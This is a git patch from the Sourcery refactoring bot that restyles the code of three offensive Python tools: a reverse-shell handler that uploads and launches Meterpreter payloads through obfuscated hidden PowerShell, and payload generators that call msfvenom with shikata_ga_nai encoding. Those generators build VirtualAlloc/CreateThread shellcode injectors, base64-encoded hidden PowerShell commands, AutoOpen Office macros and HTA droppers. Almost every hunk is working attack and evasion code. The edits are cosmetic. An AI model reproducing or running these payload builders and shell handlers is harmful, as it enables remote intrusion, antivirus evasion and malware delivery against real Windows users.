From 02341399c5c030c813be04d775ce4a939fbd5bb8 Mon Sep 17 00:00:00 2001 From: Sourcery AI <> Date: Thu, 17 Mar 2022 08:06:39 +0000 Subject: [PATCH] 'Refactored by Sourcery' --- tools/power.py | 183 ++++++++++++++++++++----------------------- tools/pw_exec.py | 92 +++++++++++----------- tools/trusted_2_6.py | 83 +++++++++----------- 3 files changed, 166 insertions(+), 192 deletions(-) diff --git a/tools/power.py b/tools/power.py index 55dfbc15..a250831e 100755 --- a/tools/power.py +++ b/tools/power.py @@ -224,9 +224,11 @@ def dynamic_variable(): holder = "" - while holder == "" or holder in Utility.collision_list or holder[0].isdigit(): + while not holder or holder in Utility.collision_list or holder[0].isdigit(): # holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(random.randint(6, 12))) - holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(12)) + holder = "".join( + random.choice(string.ascii_uppercase + string.ascii_lowercase + + string.digits) for _ in range(12)) Utility.collision_list.append(holder) return holder @@ -346,10 +348,10 @@ class Print(object): @staticmethod def text(text="", continuous=False): if continuous: - sys.stdout.write(" " + text) + sys.stdout.write(f" {text}") sys.stdout.flush() else: - print(" " + text) + print(f" {text}") return len(text) @staticmethod @@ -381,11 +383,11 @@ def confirm(text="", yes_is_default=True): while True: try: if yes_is_default: - return not (input(" \033[38;5;133m[?] " + text + " (Y/n): \033[0m").strip()).lower() in ["n", "no"] + return (input(" \033[38;5;133m[?] " + text + + " (Y/n): \033[0m").strip()).lower() not in ["n", "no"] else: return (input(" \033[38;5;133m[?] " + text + " (y/N): \033[0m").strip()).lower() in ["y", "yes"] - # Catch keyboard interrupt except KeyboardInterrupt: pass @@ -393,17 +395,17 @@ def confirm(text="", yes_is_default=True): def size(size): for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if abs(size) < 1024.0: - return "%3.1f %s" % (size, (unit + "B")) + return "%3.1f %s" % (size, f'{unit}B') size /= 1024.0 return "%.1f%s%s" % (size, "Yi", suffix) @staticmethod def ETA(start, part, total): elapsed = (time.time() - start) - speed = (part / elapsed) + speed = (part / elapsed) eta = ((total - part) / speed) - - return "ETA: " + str(datetime.timedelta(seconds=int(eta))) + + return f"ETA: {str(datetime.timedelta(seconds=int(eta)))}" @staticmethod def add_name_value(name="", value="", func=None): @@ -1003,15 +1005,11 @@ def __init__(self, send_delegate, check_delegate, receive_delegate): def Upload(self): - count = 0 - - for fnc in self.framework: + for count, fnc in enumerate(self.framework): sys.stdout.write("\b" * Print.status("Uploading framwork: {0:.2f}%".format(count / len(self.framework) * 100), True)) self.send_delegate(self.framework[fnc]["function"]) self.receive_delegate(0) - count += 1 - - Print.success("Framework uploaded successfully" + Print.wipe()) + Print.success(f"Framework uploaded successfully{Print.wipe()}") def IsAdmin(self): return self.check_delegate(self.framework["IsAdmin"]["name"]).lower() == "true" @@ -1116,29 +1114,25 @@ def cmd_complete(self, text, state): # Path holder paths = [] - + # Iterate though all command definitions - for cmd in self.command_definition: + for cmd in self.command_definition: # Add command to paths paths.append(cmd) # Check for command - if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd: - - # Check for local dictionart mapping - if cmd == "Local-Invoke" or cmd == "Local-Import-Module" or cmd == "Local-Upload": - current = text[len(cmd):].strip() - for x in glob.glob(current + "*"): - paths.append(cmd + " " + x) - + if (cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd + and cmd in ["Local-Invoke", "Local-Import-Module", "Local-Upload"]): + current = text[len(cmd):].strip() + paths.extend(f'{cmd} {x}' for x in glob.glob(f'{current}*')) # Exclude all paths not starting with typed text (case insensitive) paths = [path for path in paths if path.lower().startswith(text.lower())] - + # Check if only one command exists if len(paths) == 1 and paths[0] == text: paths = [] # Empty paths - + # Iterate through paths, and return accordingly for path in paths: if not state: @@ -1221,13 +1215,13 @@ def start(self): # Create connection holder self.connection = None - + try: Print.text() self.server.bind((self.lhost, self.lport)) Print.info("Started reverse handler on %s:%d" % (self.lhost, self.lport)) - + self.server.listen(1) self.connection, address = self.server.accept() fcntl.fcntl(self.server, fcntl.F_SETFL, os.O_NONBLOCK) @@ -1238,20 +1232,18 @@ def start(self): Print.text("\033[38;5;226m\033[48;5;196mBe aware: this is a pseudo powershell. Interactive prompts will result in hangs.\033[0m") Print.text("\033[38;5;226m\033[48;5;196mI.e. netsh, cmd, cat, etc. When calling cmdlets specify all required parameters.\033[0m") Print.text() - - # Catch socket errors + except socket.error as e: Print.error(str(e)) - - # Kill handler on KeyboardInterrupt + except KeyboardInterrupt: Print.text(Print.wipe(64, True), True) - Print.status("Killing handler..." + Print.wipe(64)) + Print.status(f"Killing handler...{Print.wipe(64)}") try: if self.connection: self.connection.close() except: pass - - + + # Check if connection is open if self.connection: @@ -1307,30 +1299,22 @@ def start(self): # Execute command on client self.send_command(command) - # Catch keyboard interrupt except KeyboardInterrupt: Print.text() if Print.confirm("Are you sure you want to kill the listener?"): break else: self.send_command("") - pass - - # Catch socket error except socket.error as e: if e.errno != errno.ECONNRESET: Print.error(str(e)) - pass - self.connection.close() self.server.shutdown(1) - self.server.close() - else: try: self.server.shutdown(1) except: pass - self.server.close() + self.server.close() Print.info("Closing connection") @@ -1345,40 +1329,30 @@ def get_response(self, timespan=0.5): # Set the beginning time begin = time.time() - + # Wait for buffer and timespan (this could create an infinite loop, so return on ctrl+c) while not (_buffer and (time.time() - begin) > timespan): try: - # Read data in pipe - data = self.connection.recv(8192).decode("iso-8859-1") - - if data: - + if data := self.connection.recv(8192).decode("iso-8859-1"): # Add data to buffer _buffer.append(data) - + # Change the beginning time begin = time.time() else: - # Add gap time.sleep(0.1) - - # If socket error + except socket.error as e: # Return empty on ECONNRESET if e.errno == errno.ECONNRESET: return "" - - # Pass on other errors (such as EWOULDBLOCK) - pass - - # Return empty ctrl+c + except KeyboardInterrupt: return "" - + # Make socket blocking again self.connection.setblocking(1) @@ -1393,18 +1367,18 @@ def format_response(self, response): response = str(response) error = searcher.search(response) response = searcher.sub("", response).strip().split("\n") - + for i in range(len(response)): if i == len(response) - 1: - + if error: sys.stdout.write(("\n \033[38;5;196m\033[48;5;16m" + "\033[0m\n \033[38;5;196m\033[48;5;16m".join((str(error.group(2)).strip()).split("\n"))) + "\033[0m\n") - + prompt = (" \033[1m\033[38;5;255m" + response[i] + "\033[0m") else: - sys.stdout.write(" " + response[i] + "\n") + sys.stdout.write(f" {response[i]}" + "\n") sys.stdout.flush() - + return prompt @@ -1447,14 +1421,14 @@ def psh_Local_Spawn_Shell(self, payload_type): # Clear command buffer self.check_command("") - + credential_name = None Print.text() Print.text("Supply values for the following parameters:") lhost = input(" \033[1m\033[38;5;255mLHOST:\033[0m ").strip() lport = input(" \033[1m\033[38;5;255mLPORT:\033[0m ").strip() Print.text() - + Print.text("\033[1m\033[38;5;255mSpecify Credentials:\033[0m Run the Job with different credentials.") if Print.confirm("Specify other credentials?", False): credential_name = Utility.dynamic_variable() @@ -1462,24 +1436,24 @@ def psh_Local_Spawn_Shell(self, payload_type): Print.text("Supply values for the following parameters:") username = input(" \033[1m\033[38;5;255mUsername:\033[0m ").strip() password = input(" \033[1m\033[38;5;255mPassword:\033[0m ").strip() - + self.framework.CreateCredential(credential_name, username, password) Print.text() - + Print.text("\033[1m\033[38;5;255mASK Elevation:\033[0m This will trigger the UAC (using a so called ASK elevation). This is NOT stealthy.") use_elevation = Print.confirm("Use 'ASK Elevation?'", False) Print.text() - + if (not Utility.is_ipv4_address(lhost)): Print.error("LHOST is not an IP address") lhost = None - + if (not (lport.isdigit() and int(lport) >= 1 and int(lport) <= 65535)): Print.error("LPORT is not a valid port number") lport = None - - if lhost != None and lport != None: - + + if lhost != None and lport != None: + if payload_type == conf_name.METERPRETER: payload = generate_injection( Utility.replace_all( @@ -1515,11 +1489,11 @@ def psh_Local_Spawn_Shell(self, payload_type): self.framework.UploadVariableChunk(variable_name, "") # Loop through each data chunk - for i in range(int(length / chunk_size) + 1): + for i in range(length // chunk_size + 1): # Read base64 encoded chunk from file self.framework.UploadVariableChunk(variable_name, base64.b64encode(payload[(i * chunk_size):(i * chunk_size + chunk_size)]).decode("utf-8", "ignore")) - uploaded += (length - uploaded) if ((length - uploaded) < chunk_size) else chunk_size + uploaded += min(length - uploaded, chunk_size) # Print sexy status sys.stdout.write("\b" * Print.status( @@ -1535,48 +1509,61 @@ def psh_Local_Spawn_Shell(self, payload_type): # Check integrity (of variable) if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(payload).hexdigest().lower()): - Print.success("Upload completed" + Print.wipe()) + Print.success(f"Upload completed{Print.wipe()}") sys.stdout.write("\b" * Print.status("Launching background job...", True)) # Invoke payload! - self.check_command("$" + variable_name + " = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($" + variable_name + ")))") + self.check_command( + f"${variable_name}" + + " = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($" + + variable_name + ")))") # Escape payload back to string, and back to scriptblock - self.check_command("$" + variable_name + " = $" + variable_name + ".ToString() -replace \"\\$\",\"``$\"") - + self.check_command(f"${variable_name} = ${variable_name}" + + ".ToString() -replace \"\\$\",\"``$\"") + # Check if elevation should be used if use_elevation: - self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")") - - # Execute with -NoNewWindow - else: - self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")") + self.check_command( + f"${variable_name}" + " = [scriptblock]::Create(\"(Start-Process " + + powershell_obfuscation( + "[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + + variable_name + "`\"") + ").ID\")") - if credential_name == None: - self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name) else: - self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name + " -Credential $" + credential_name ) - self.check_command("Remove-Variable -Name " + credential_name) + self.check_command( + f"${variable_name}" + " = [scriptblock]::Create(\"(Start-Process " + + powershell_obfuscation( + "[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + + variable_name + "`\"") + ").ID\")") + + if credential_name is None: + self.check_command(f"Start-Job -Name {job_name} -ScriptBlock ${variable_name}") + else: + self.check_command( + f"Start-Job -Name {job_name} -ScriptBlock ${variable_name}" + + " -Credential $" + credential_name) + self.check_command(f"Remove-Variable -Name {credential_name}") - Print.success("Job started: " + job_name) + Print.success(f"Job started: {job_name}") Print.info("Check status with \033[1m\033[38;5;255mGet-Job " + job_name + "\033[0m") Print.info("Check process ID with \033[1m\033[38;5;255m(Get-Job " + job_name + ").ChildJobs.Output\033[0m or \033[1m\033[38;5;255m(((Get-Job " + job_name + ").ChildJobs)|Select Output).Output\033[0m") else: - Print.error("Integrity check failed" + Print.wipe()) + Print.error(f"Integrity check failed{Print.wipe()}") # Remove variable after it has been used - self.check_command("Remove-Variable -Name " + variable_name) - + self.check_command(f"Remove-Variable -Name {variable_name}") + else: Print.error("Incorrect values were specified") - - + + # Print empty line Print.text() - + # Send empty command to load buffer self.send_command("") diff --git a/tools/pw_exec.py b/tools/pw_exec.py index 1d483e0c..82488d1e 100755 --- a/tools/pw_exec.py +++ b/tools/pw_exec.py @@ -230,11 +230,7 @@ def generate_macro(full_attack, line_length=380): # start of the macro macro_str = "Sub AutoOpen()\nDim x\nx = " - if line_length is None: - line_length_int = 380 - else: - line_length_int = int(line_length) - + line_length_int = 380 if line_length is None else int(line_length) powershell_command_list = split_str(full_attack, line_length_int) for line in powershell_command_list: @@ -306,13 +302,17 @@ def generate_shellcode(payload, ipaddr, port): port = port.replace("LPORT=", "") # if we are using traditional payloads and not download_eec - if not "exe=" in ipaddr: - ipaddr = "LHOST=%s" % (ipaddr) - port = "LPORT=%s" % (port) + if "exe=" not in ipaddr: + ipaddr = f"LHOST={ipaddr}" + port = f"LPORT={port}" proc = subprocess.Popen( - "msfvenom -p %s %s %s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c" % ( - payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + f"msfvenom -p {payload} {ipaddr} {port} StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c", + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + shell=True, + ) + data = proc.communicate()[0] # start to format this a bit to get it ready repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', 'Found 0 compatible encoders': '', @@ -363,7 +363,14 @@ def gen_shellcode_attack(payload, ipaddr, port): r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode) # run it through a lame var replace - powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace("$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5) + powershell_code = ( + powershell_code.replace("$1", f"${var1}") + .replace("$c", "$" + var2) + .replace("$2", "$" + var3) + .replace("$3", "$" + var4) + .replace("$x", "$" + var5) + ) + return powershell_code @@ -371,8 +378,7 @@ def gen_shellcode_attack(payload, ipaddr, port): def gen_ps1_attack(ps1path): if os.path.isfile(ps1path): with open(ps1path, 'r') as scriptfile: - data = scriptfile.read() - return data + return scriptfile.read() else: print("[!] {0} does not exist. Please check your path".format(ps1path)) sys.exit(1) @@ -387,23 +393,22 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): full_attack = "powershell -window hidden -EncodedCommand " + \ base64.b64encode(powershell_code.encode('utf_16_le')) - if attack_type == "msf": - if attack_modifier == "macro": - macro_attack = generate_macro(full_attack) - write_file("powershell_attack.txt", macro_attack) - macro_help() + if attack_type == "msf" and attack_modifier == "macro": + macro_attack = generate_macro(full_attack) + write_file("powershell_attack.txt", macro_attack) + macro_help() - elif attack_modifier == "hta": - gen_hta_attack(full_attack) - # move unicorn to hta attack if hta specified - shutil.move("unicorn.rc", "hta_attack/") - hta_help() + elif attack_type == "msf" and attack_modifier == "hta": + gen_hta_attack(full_attack) + # move unicorn to hta attack if hta specified + shutil.move("unicorn.rc", "hta_attack/") + hta_help() - else: # write out powershell attacks - write_file("powershell_attack.txt", full_attack) - ps_help() + elif attack_type == "msf" or attack_type != "custom_ps1": # write out powershell attacks + write_file("powershell_attack.txt", full_attack) + ps_help() - elif attack_type == "custom_ps1": + else: if attack_modifier == "macro": macro_attack = generate_macro(full_attack, option) write_file("powershell_attack.txt", macro_attack) @@ -412,10 +417,6 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): custom_ps1_help() - else: - write_file("powershell_attack.txt", full_attack) - ps_help() - # Print completion messages if attack_type == "msf" and attack_modifier == "hta": print("[*] Exported index.html, Launcher.hta, and unicorn.rc under hta_attack/.") @@ -445,16 +446,15 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): custom_ps1_help() gen_usage() sys.exit() + elif len(sys.argv) > 2 and sys.argv[2] == "crt": + attack_type = "crt" + payload = sys.argv[1] + elif re.search('\.ps1$', sys.argv[1]) is not None: + attack_type = "custom_ps1" + ps1path = sys.argv[1] else: - if len(sys.argv) > 2 and sys.argv[2] == "crt": - attack_type = "crt" - payload = sys.argv[1] - elif re.search('\.ps1$', sys.argv[1]) is not None: - attack_type = "custom_ps1" - ps1path = sys.argv[1] - else: - attack_type = "msf" - payload = sys.argv[1] + attack_type = "msf" + payload = sys.argv[1] # if we are using macros if len(sys.argv) == 5: @@ -469,21 +469,18 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): format_payload(ps, attack_type, attack_modifier, None) - # default unicorn & custom ps1 macro attacks elif len(sys.argv) == 4: - if attack_type == "custom_ps1": # custom ps1 macro attack + if attack_type == "custom_ps1": attack_modifier = sys.argv[2] option = sys.argv[3] ps = gen_ps1_attack(ps1path) elif attack_type == "msf": + attack_modifier = "" + option = None payload = sys.argv[1] ipaddr = sys.argv[2] port = sys.argv[3] - attack_modifier = "" - option = None ps = gen_shellcode_attack(payload, ipaddr, port) - # It should not be possible to get here, but just in case it does for some reason in the future, it will - # prevent usage of 'ps' and 'option', causing the app to crash else: print("[!] Something went way wrong while generating payload.") sys.exit() @@ -512,10 +509,9 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): print("[!] Options not understood or missing. Use --help switch for assistance.") sys.exit() - # if we did supply parameters elif len(sys.argv) < 2: gen_unicorn() gen_usage() except Exception as e: - print("[!] Something went wrong, printing the error: " + str(e)) + print(f"[!] Something went wrong, printing the error: {str(e)}") diff --git a/tools/trusted_2_6.py b/tools/trusted_2_6.py index 739f5fa2..e0ecc986 100755 --- a/tools/trusted_2_6.py +++ b/tools/trusted_2_6.py @@ -259,7 +259,7 @@ def scramble_stuff(): full_shell = list3[:-2] - return full_exe + "," + ps_only + "," + full_wscript + "," + full_shell + return f'{full_exe},{ps_only},{full_wscript},{full_shell}' # generate full macro @@ -271,11 +271,7 @@ def generate_macro(full_attack, line_length=380): macro_str = ( "Sub Auto_Open()\nDim {0}\n{1} = ".format(macro_rand, macro_rand)) - if line_length is None: - line_length_int = 380 - else: - line_length_int = int(line_length) - + line_length_int = 380 if line_length is None else int(line_length) powershell_command_list = split_str(full_attack, line_length_int) for line in powershell_command_list: @@ -397,7 +393,7 @@ def generate_shellcode(payload, ipaddr, port): port = port.replace("LPORT=", "") # if we are using traditional payloads and not download_eec - if not "exe=" in ipaddr: + if "exe=" not in ipaddr: ipaddr = "LHOST={0}".format(ipaddr) port = "LPORT={0}".format(port) @@ -462,8 +458,14 @@ def gen_shellcode_attack(payload, ipaddr, port): r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-ec ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode) # run it through a lame var replace - powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace( - "$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5) + powershell_code = ( + powershell_code.replace("$1", f"${var1}") + .replace("$c", "$" + var2) + .replace("$2", f"${var3}") + .replace("$3", f"${var4}") + .replace("$x", f"${var5}") + ) + return powershell_code @@ -471,8 +473,7 @@ def gen_shellcode_attack(payload, ipaddr, port): def gen_ps1_attack(ps1path): if os.path.isfile(ps1path): with open(ps1path, 'r') as scriptfile: - data = scriptfile.read() - return data + return scriptfile.read() else: print("[!] {0} does not exist. Please check your path".format(ps1path)) sys.exit(1) @@ -495,23 +496,22 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): full_attack = 'powershell -w 1 -C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() \''.format(ran1, ran2, ran3, ran1, ran2, ran3) + \ base64.b64encode(powershell_code.encode('utf_16_le')) + '\'"' - if attack_type == "msf": - if attack_modifier == "macro": - macro_attack = generate_macro(full_attack) - write_file("powershell_attack.txt", macro_attack) - macro_help() + if attack_type == "msf" and attack_modifier == "macro": + macro_attack = generate_macro(full_attack) + write_file("powershell_attack.txt", macro_attack) + macro_help() - elif attack_modifier == "hta": - gen_hta_attack(full_attack) - # move unicorn to hta attack if hta specified - shutil.move("unicorn.rc", "hta_attack/") - hta_help() + elif attack_type == "msf" and attack_modifier == "hta": + gen_hta_attack(full_attack) + # move unicorn to hta attack if hta specified + shutil.move("unicorn.rc", "hta_attack/") + hta_help() - else: # write out powershell attacks - write_file("powershell_attack.txt", full_attack) - ps_help() + elif attack_type == "msf" or attack_type != "custom_ps1": # write out powershell attacks + write_file("powershell_attack.txt", full_attack) + ps_help() - elif attack_type == "custom_ps1": + else: if attack_modifier == "macro": macro_attack = generate_macro(full_attack, option) write_file("powershell_attack.txt", macro_attack) @@ -520,10 +520,6 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): custom_ps1_help() - else: - write_file("powershell_attack.txt", full_attack) - ps_help() - # Print completion messages if attack_type == "msf" and attack_modifier == "hta": print( @@ -556,16 +552,15 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): custom_ps1_help() gen_usage() sys.exit() + elif len(sys.argv) > 2 and sys.argv[2] == "crt": + attack_type = "crt" + payload = sys.argv[1] + elif re.search('\.ps1$', sys.argv[1]) is not None: + attack_type = "custom_ps1" + ps1path = sys.argv[1] else: - if len(sys.argv) > 2 and sys.argv[2] == "crt": - attack_type = "crt" - payload = sys.argv[1] - elif re.search('\.ps1$', sys.argv[1]) is not None: - attack_type = "custom_ps1" - ps1path = sys.argv[1] - else: - attack_type = "msf" - payload = sys.argv[1] + attack_type = "msf" + payload = sys.argv[1] # if we are using macros if len(sys.argv) == 5: @@ -581,21 +576,18 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): format_payload(ps, attack_type, attack_modifier, None) - # default unicorn & custom ps1 macro attacks elif len(sys.argv) == 4: - if attack_type == "custom_ps1": # custom ps1 macro attack + if attack_type == "custom_ps1": attack_modifier = sys.argv[2] option = sys.argv[3] ps = gen_ps1_attack(ps1path) elif attack_type == "msf": + attack_modifier = "" + option = None payload = sys.argv[1] ipaddr = sys.argv[2] port = sys.argv[3] - attack_modifier = "" - option = None ps = gen_shellcode_attack(payload, ipaddr, port) - # It should not be possible to get here, but just in case it does for some reason in the future, it will - # prevent usage of 'ps' and 'option', causing the app to crash else: print("[!] Something went way wrong while generating payload.") sys.exit() @@ -626,10 +618,9 @@ def format_payload(powershell_code, attack_type, attack_modifier, option): "[!] Options not understood or missing. Use --help switch for assistance.") sys.exit() - # if we did supply parameters elif len(sys.argv) < 2: gen_unicorn() gen_usage() except Exception as e: - print("[!] Something went wrong, printing the error: " + str(e)) + print(f"[!] Something went wrong, printing the error: {str(e)}")